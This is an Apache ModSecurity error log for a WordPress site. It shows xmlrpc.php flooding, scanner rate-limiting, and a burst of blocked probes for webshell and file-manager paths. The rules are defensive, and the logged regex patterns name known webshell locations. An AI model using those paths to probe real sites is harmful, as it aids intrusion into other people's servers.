[Sun Jan 04 05:53:04.051367 2026] [:error] [pid 37538:tid 37607] [client 132.148.185.26:47558] [client 132.148.185.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.185.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmPwIzU2j98LiSLQvRXzQAAAIc"]
[Sun Jan 04 05:53:06.781900 2026] [:error] [pid 37538:tid 37610] [client 132.148.185.26:34024] [client 132.148.185.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.185.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmPwozU2j98LiSLQvRX0wAAAIo"]
[Sun Jan 04 05:53:08.910537 2026] [:error] [pid 37636:tid 37647] [client 132.148.185.26:34028] [client 132.148.185.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.185.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmPxC3kmZpEf9yy2b1LswAAAMc"]
[Sun Jan 04 05:53:10.947478 2026] [:error] [pid 37636:tid 37653] [client 132.148.185.26:34038] [client 132.148.185.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.185.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmPxi3kmZpEf9yy2b1LvQAAAM0"]
[Sun Jan 04 05:53:12.927039 2026] [:error] [pid 33650:tid 33673] [client 132.148.185.26:34046] [client 132.148.185.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.185.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmPyEzDhphKhMjzf1IO7QAAARU"]
[Sun Jan 04 05:53:14.918715 2026] [:error] [pid 37536:tid 37562] [client 132.148.185.26:36992] [client 132.148.185.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.185.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmPym-iKLialy_3rkv7IQAAABY"]
[Sun Jan 04 05:53:14.918913 2026] [:error] [pid 37536:tid 37562] [client 132.148.185.26:36992] [client 132.148.185.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 132.148.185.26, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmPym-iKLialy_3rkv7IQAAABY"]
[Sun Jan 04 06:40:44.788344 2026] [:error] [pid 37636:tid 37664] [client 173.236.217.237:56166] [client 173.236.217.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.217.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVma7C3kmZpEf9yy2b1YcgAAANg"]
[Sun Jan 04 06:46:45.215288 2026] [:error] [pid 33650:tid 33670] [client 45.12.18.180:49512] [client 45.12.18.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.12.18.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmcVUzDhphKhMjzf1Ii4AAAARI"]
[Sun Jan 04 07:38:49.713055 2026] [:error] [pid 37537:tid 37595] [client 164.132.49.123:41978] [client 164.132.49.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.49.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmoiQjHz7EQ5p_4u2qFZwAAAFY"]
[Sun Jan 04 09:26:14.438115 2026] [:error] [pid 10433:tid 10503] [client 51.159.99.245:56780] [client 51.159.99.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.99.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVnBtsnzLQE4NFGPgbCcYgAAAok"]
[Sun Jan 04 10:20:43.460494 2026] [:error] [pid 42536:tid 42558] [client 88.99.148.122:56908] [client 88.99.148.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.99.148.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVnOe-ECS6fgGX8kH4RXxQAAAVM"]
[Sun Jan 04 11:11:52.283899 2026] [:error] [pid 51274:tid 51278] [client 158.247.243.94:43114] [client 158.247.243.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.247.243.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVnaeNrkCp_355teMASU_gAAAEE"]
[Sun Jan 04 11:37:21.478277 2026] [:error] [pid 56796:tid 56818] [client 106.54.62.156:40344] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVngcYXa4dVs9ML_oAbOaAAAAdM"]
[Sun Jan 04 12:08:52.104115 2026] [:error] [pid 56796:tid 56803] [client 167.235.255.92:53262] [client 167.235.255.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.235.255.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVnn1IXa4dVs9ML_oAbUNAAAAcQ"]
[Sun Jan 04 12:43:23.194670 2026] [:error] [pid 15480:tid 15500] [client 167.99.215.209:47962] [client 167.99.215.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.215.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVnv6xBWKIu3SdvwTFhtVwAAAJI"]
[Sun Jan 04 12:55:18.529218 2026] [:error] [pid 4427:tid 4472] [client 82.223.55.140:59538] [client 82.223.55.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.55.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVnytj-T5ydE4nJe9DcfvQAAA08"]
[Sun Jan 04 13:53:29.060571 2026] [:error] [pid 4427:tid 4479] [client 43.166.245.120:56238] [client 43.166.245.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVoAWT-T5ydE4nJe9Dcn2AAAA1Y"]
[Sun Jan 04 15:41:32.284597 2026] [:error] [pid 59250:tid 59262] [client 34.168.58.153:41618] [client 34.168.58.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.168.58.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVoZrPPJ-KGeNWdqpudAbwAAAMc"]
[Sun Jan 04 15:54:28.827411 2026] [:error] [pid 4427:tid 4468] [client 162.241.225.183:59674] [client 162.241.225.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.225.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVoctD-T5ydE4nJe9Dc1JgAAA0s"]
[Sun Jan 04 17:45:18.532886 2026] [:error] [pid 64248:tid 64270] [client 138.197.13.155:60529] [client 138.197.13.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aVo2rsZZ_5Iet2g0ae34igAAAFQ"], referer: binance.com
[Sun Jan 04 17:59:50.651907 2026] [:error] [pid 4427:tid 4459] [client 125.75.66.97:42095] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVo6Fj-T5ydE4nJe9DdH9gAAA0I"]
[Sun Jan 04 19:45:02.194006 2026] [:error] [pid 58432:tid 58439] [client 193.37.32.69:59347] [client 193.37.32.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aVpSvs5iX5mcgQLNlcgXQwAAAMI"]
[Sun Jan 04 19:45:09.738435 2026] [:error] [pid 5661:tid 5711] [client 193.37.32.104:54959] [client 193.37.32.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aVpSxbsKeIMjMZCmSEnyCgAAAhU"]
[Sun Jan 04 19:45:22.459468 2026] [:error] [pid 5727:tid 5767] [client 193.37.32.104:43567] [client 193.37.32.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aVpS0uw4wd_I9FHn6_-p3wAAAwg"]
[Sun Jan 04 19:45:29.803025 2026] [:error] [pid 5727:tid 5759] [client 193.37.32.85:41899] [client 193.37.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aVpS2ew4wd_I9FHn6_-p9wAAAwA"]
[Sun Jan 04 19:45:44.501392 2026] [:error] [pid 5072:tid 5143] [client 193.37.32.85:44015] [client 193.37.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aVpS6L2pfHYIoX6NUv3_ugAAA44"]
[Sun Jan 04 19:45:47.906344 2026] [:error] [pid 5727:tid 5771] [client 193.37.32.81:28653] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aVpS6-w4wd_I9FHn6_-qGQAAAww"]
[Sun Jan 04 19:45:48.981844 2026] [:error] [pid 5661:tid 5696] [client 193.37.32.94:51383] [client 193.37.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aVpS7LsKeIMjMZCmSEnyagAAAgY"]
[Sun Jan 04 19:45:49.984286 2026] [:error] [pid 5072:tid 5146] [client 193.37.32.63:44357] [client 193.37.32.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aVpS7b2pfHYIoX6NUv3_vwAAA5E"]
[Sun Jan 04 19:45:50.973456 2026] [:error] [pid 1297:tid 1299] [client 193.37.32.56:25787] [client 193.37.32.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aVpS7hf98x0RBG23PjfSXwAAAAA"]
[Sun Jan 04 19:45:51.995130 2026] [:error] [pid 5629:tid 5635] [client 193.37.32.96:29223] [client 193.37.32.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aVpS755cwu3wbyCj4doL_QAAAIQ"]
[Sun Jan 04 19:45:54.503774 2026] [:error] [pid 1328:tid 1348] [client 193.37.32.72:51695] [client 193.37.32.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aVpS8k_-FkByL1SGKiTPPgAAAVE"]
[Sun Jan 04 19:45:58.795342 2026] [:error] [pid 5661:tid 5690] [client 193.37.32.68:37823] [client 193.37.32.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aVpS9rsKeIMjMZCmSEnygAAAAgA"]
[Sun Jan 04 19:46:04.534906 2026] [:error] [pid 5727:tid 5772] [client 193.37.32.99:31979] [client 193.37.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aVpS_Ow4wd_I9FHn6_-qKgAAAw0"]
[Sun Jan 04 19:46:07.023320 2026] [:error] [pid 58433:tid 58468] [client 193.37.32.82:29647] [client 193.37.32.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aVpS_05m7bkw35zhUNblDQAAAQQ"]
[Sun Jan 04 19:46:10.782586 2026] [:error] [pid 5010:tid 5057] [client 193.37.32.78:61695] [client 193.37.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aVpTArV9sNJtnPnkkz-TtQAAApA"]
[Sun Jan 04 19:46:23.215051 2026] [:error] [pid 1297:tid 1306] [client 193.37.32.95:29905] [client 193.37.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aVpTDxf98x0RBG23PjfSbgAAAAc"]
[Sun Jan 04 19:46:27.077670 2026] [:error] [pid 1297:tid 1308] [client 193.37.32.61:39819] [client 193.37.32.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aVpTExf98x0RBG23PjfScQAAAAk"]
[Sun Jan 04 19:46:38.187908 2026] [autoindex:error] [pid 5010:tid 5048] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:38.729195 2026] [autoindex:error] [pid 5010:tid 5046] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:39.220241 2026] [autoindex:error] [pid 5010:tid 5062] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:39.732845 2026] [autoindex:error] [pid 5010:tid 5063] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:42.775811 2026] [autoindex:error] [pid 5010:tid 5043] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:43.299174 2026] [autoindex:error] [pid 5010:tid 5051] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:43.855764 2026] [autoindex:error] [pid 5010:tid 5060] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:44.388094 2026] [autoindex:error] [pid 5010:tid 5044] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:44.894264 2026] [autoindex:error] [pid 5010:tid 5057] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:45.414696 2026] [autoindex:error] [pid 5010:tid 5053] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:46.518565 2026] [autoindex:error] [pid 5010:tid 5042] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:48.892312 2026] [autoindex:error] [pid 5010:tid 5054] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:49.401868 2026] [autoindex:error] [pid 5010:tid 5058] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:53.688843 2026] [autoindex:error] [pid 5010:tid 5049] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
